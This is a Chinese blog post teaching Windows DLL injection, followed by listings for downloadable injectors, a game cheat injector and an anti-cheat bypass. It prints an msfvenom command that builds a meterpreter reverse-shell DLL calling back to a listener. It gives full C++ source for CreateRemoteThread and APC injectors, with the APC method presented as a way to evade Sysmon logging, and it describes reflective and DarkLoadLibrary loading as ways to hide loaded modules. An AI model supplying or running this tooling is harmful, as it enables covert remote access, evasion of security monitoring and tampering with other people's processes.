-
2021-10-20 14:18:54
DLL注入原理
在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。
所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。
dll注入实现过程
1.附加到目标/远程进程 2.在目标/远程进程内分配内存 3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间 4.控制进程运行DLL文件
生成DLL
使用msf生成一个dll:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll
手写dll注入器:
#include<Windows.h> #include<stdio.h> using namespace std; int main(int argc,char * argv[]) { HANDLE ProcessHandle; LPVOID remotebuffer; BOOL write; wchar_t dllpath[] = TEXT("C:\\users\\root\\desktop\\inject.dll"); if (argc < 2) { printf("Useage inject.exe Pid;\n"); printf("such as inject.exe 258\n"); exit(0); } printf("Injecting DLL to PID: %i\n", atoi(argv[1])); ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); if (ProcessHandle == NULL) { printf("OpenProcess Fail !!!"); exit(0); } else { printf("OpenProcess %i successful !!!\n",atoi(argv[1])); } remotebuffer = VirtualAllocEx(ProcessHandle, NULL, sizeof dllpath, MEM_COMMIT, PAGE_READWRITE); write = WriteProcessMemory(ProcessHandle, remotebuffer, (LPVOID)dllpath, sizeof dllpath, NULL); if (write == 0) { printf("WriteProcessMemory Fail %i!!!",GetLastError()); exit(0); } else { printf("WriteProcessMemory successful !!!\n"); } PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, remotebuffer, 0, NULL); CloseHandle(ProcessHandle); return 0; }
在进程监控中,也可以清楚的看到进程被注入了dll。
在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。
APC实现DLL注入
#include <windows.h> #include <TlHelp32.h> #include <vector> using std::vector; bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) { auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return false; pid = 0; PROCESSENTRY32 pe = { sizeof(pe) }; if (::Process32First(hSnapshot, &pe)) { do { if (_wcsicmp(pe.szExeFile, exeName) == 0) { pid = pe.th32ProcessID; THREADENTRY32 te = { sizeof(te) }; if (::Thread32First(hSnapshot, &te)) { do { if (te.th32OwnerProcessID == pid) { tids.push_back(te.th32ThreadID); } } while (::Thread32Next(hSnapshot, &te)); } break; } } while (::Process32Next(hSnapshot, &pe)); } ::CloseHandle(hSnapshot); return pid > 0 && !tids.empty(); } void main() { DWORD pid; vector<DWORD> tids; if (FindProcess(L"calc.exe", pid, tids)) { printf("OpenProcess\n"); HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); printf("VirtualAllocEx\n"); auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); wchar_t buffer[] = L"c:\\test\\testdll.dll"; printf("WriteProcessMemory\n"); ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr); for (const auto& tid : tids) { printf("OpenThread\n"); HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid); if (hThread) { printf("GetProcAddress\n"); ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p); } } printf("VirtualFreeEx\n"); ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT); } }
反射型dll注入
反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。
反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。
msf已经有了相应的模块:
windows/manage/reflective_dll_inject
在内存中,可以看到明显的PE标识:
将其dump后
放入PE查看工具,可看到其为正常的PE文件与RDI特有的名字:
此类文件可配合sRdi使用,效果更佳。
DarkLoadLibrary
DarkLoadLibrary由batsec提出的项目,文章地址:
项目地址:项目地址
图标展示了其特点:
其支持磁盘加载、内存加载。
磁盘加载:
内存加载:
其DarkLoadLibraryDebugging为自定义的名称,与NO_LINK,则看不到明显的dll加载痕迹
缺点是仅支持当前进程不支持远程进程,但不得不说,其优越性的确可以是当前进程加载dll的不二之选。
更多相关内容 -
exe将dll注入到explorer.exe资源管理器进程_DLL注入示例.injectdll
2021-03-28 11:30:56exe将dll注入到explorer.exe资源管理器进程_DLL注入示例.zip -
易语言DLL注入工具
2020-07-21 23:02:51易语言DLL注入工具源码,DLL注入工具,释放进程内存,注入DLL,卸载DLL,取DLL函数地址,执行DLL函数,是否已注入,重载变量,申请内存_,释放内存_,写到内存_,读取内存_,写入内存数据_,调用子程序_,提升进程权限_,打开进程_,... -
DLL注入工具_拿破轮胎
2020-09-23 12:57:41拿破轮胎 大佬写的DLL注入工具,资源网上可找,如果所需下载积分超过2,那没必要。。。。。。。。。。。。 -
易语言源码易语言DLL注入工具源码.rar
2020-02-17 07:02:53易语言源码易语言DLL注入工具源码.rar 易语言源码易语言DLL注入工具源码.rar 易语言源码易语言DLL注入工具源码.rar 易语言源码易语言DLL注入工具源码.rar 易语言源码易语言DLL注入工具源码.rar 易语言源码... -
Doge-sRDI:Golang的反射式DLL注入的Shellcode实现。 将DLL转换为与位置无关的Shellcode
2021-04-01 15:37:16Golang的反射式DLL注入的Shellcode实现。 将DLL转换为与位置无关的Shellcode 非常感谢Sliver项目和leoloobeek 用法 srdi.exe [dllName] [Args(不必要)] [entryPoint(不必要)] PS D:\> .\srdi.exe .\Outflank-... -
阿哲CSGO最新dll注入器
2022-03-10 11:21:18阿哲CSGO最新dll注入器,内附教程 -
DLL注入器.rar
2020-04-04 14:48:26DLL注入器.rar -
内存DLL注入易语言模块源码
2022-05-02 19:51:11资源介绍:。可以将内存中的DLL直接注入到指定进程中,无需写出。支持黑月。资源作者:。易语言模块源码下载。资源界面:。资源下载:。 -
x64 Ring3_Dll注入-易语言
2021-06-12 02:34:49DLL注入工具有很多,但是也有很多无法注入系统进程如explorer.exe,notepad.exe等,特别是Win7以上平台。此注入工具核心注入部分使用NtCreateThreadEx + LdrLoadDlll方式实现,特色在于比一般的远程线程注入稳定,... -
将dll注入到资源管理器explorer.exe中
2021-01-02 18:39:22将dll注入到资源管理器explorer.exe中 -
dll注入实例注入代码
2020-11-03 09:16:12dll注入实例,实现dll注入,代码详细介绍了整个dll注入的流程,以及生成exe,需要下载微软支持库,是学习dll注入的好东西 -
易语言-内存DLL注入易语言模块
2021-06-29 22:20:14可以将内存中的DLL直接注入到指定进程中,无需写出。支持黑月。易语言模块源码下载 -
C++ 远程dll注入
2017-11-20 10:47:13C++ 远程dll注入,初识病毒,可以记录下用户的键盘按下事件 -
DLL注入工具RemoteDllDLL注入器v2.0绿色汉化版
2019-08-05 23:22:39RemoteDll是一款国外强大DLL注入工具,本压缩包里包括了汉化版和原版,按情况使用。 【更新说明】 新版本添加了2个新的方法: 延迟注入:QueueUserAPC [Delayed Injection] ; 驱动级注入方法:NTCreateThread ... -
Qt:Windows编程—DLL注入与卸载 示例demo
2019-01-27 14:17:45https://blog.csdn.net/qq_29542611/article/details/86664781 Qt:Windows编程—DLL注入与卸载 示例demo -
DLL注入封包工具过检测
2018-08-27 12:59:12各类游戏DLL封包注入软件 自带DLL。只需注入代理或加速器 无需注入游戏。 -
DLL注入的方法及通讯
2018-08-24 12:55:19DLL注入的方法及通讯 -
易语言-检测自身是否有DLL注入易语言模块
2021-06-29 22:16:29检测自身是否有DLL注入易语言模块源码 易语言入门自学 -
VB 实现Dll注入指定进程示例
2019-04-15 20:09:58VB 实现Dll注入指定进程示例,源代码齐全!RemoteLoadDLL -
soInjection:类似于 DLL 注入,但适用于 linux 库
2021-06-23 10:14:07类似于 DLL 注入,但适用于 linux 库。 IDEA:我想复制 DLL 注入,但我想在 linux 中进行。 到目前为止,我所有的谷歌搜索都没有返回任何关于如何按照我想要的方式执行此操作的信息。 谷歌主要说你必须在执行应用... -
dll注入列子 32.64可用 使用远程线程
2018-01-02 16:38:54dll注入列子 32.64位可用 使用远程线程注入dll到其他进程。。。。。。。。。。。。 -
易语言-子类化dll注入与卸载按home呼出窗口中文实例
2021-06-25 19:10:01Temp文件夹全部拖到e盘即可直接测试, 文件需放同一目录下测试,否则无效,无反应 有子窗口或控件的把图标拖到...外部窗口不能直接子类化,不能跨进程,所以一个解决方案是注入。手痒就顺手翻译一篇c++的源码来验证一下 -
DLL注入工具 纯净版
2020-11-14 20:37:51DLL注入工具纯净版 安全无毒 -
DLL注入器.zip
2020-08-03 11:48:46DLL注入器,由C#写的调用C++模块的,现成可以接使用,大家也可反编译多交流, 具体的详细思路和源码后期有空会在博客里面补上,纯给新人学习反编译使用。 -
C++实现dll注入其它进程
2021-01-21 17:12:33DLL注入其他进程技术 阅读本篇文章,需要有《线程注入其他进程技术》基础。 DLL注入技术才具有强大的功能和使用性,同时简单易用,因为DLL中可以实现复杂的功能和很多的技术。 技术要点: 1、宿主进程... -
Genshin Impact的防作弊旁路,可让您将所有dll注入到受保护的游戏中。-C/C++开发
2021-05-27 02:09:29Genshin Impact的防作弊旁路,可让您将任何dll注入到受保护的游戏中。 Genshin-Bypass Genshin Impact的防作弊旁路,可让您将任何dll注入到受保护的游戏中。 概述Genshin安装了名为“ mhyprot2”的KernelMode驱动... -
dll-injection:基于EasyHook的DLL注入示例,可在另一个进程(托管或非托管)的地址空间内运行代码(以.Net...
2021-04-29 15:16:26dll注入 基于EasyHook的DLL注入示例,可在另一个进程(托管或非托管)的地址空间内运行代码(以.Net编写) -
browser-custom-dns:将 DLL 注入 Web 浏览器的 GetAddrInfoW() 以使用自定义 DNS
2021-07-01 14:32:51此 C#.NET 项目将 DLL 注入/挂钩到 Web 浏览器的 GetAddrInfoW() 以使用自定义 DNS。 您可以将应用程序设置为在所有域或单个域上使用自定义 DNS,并且您可以将其指向处理非 ICANN 域的 DNS 服务器。 例如,这对于在...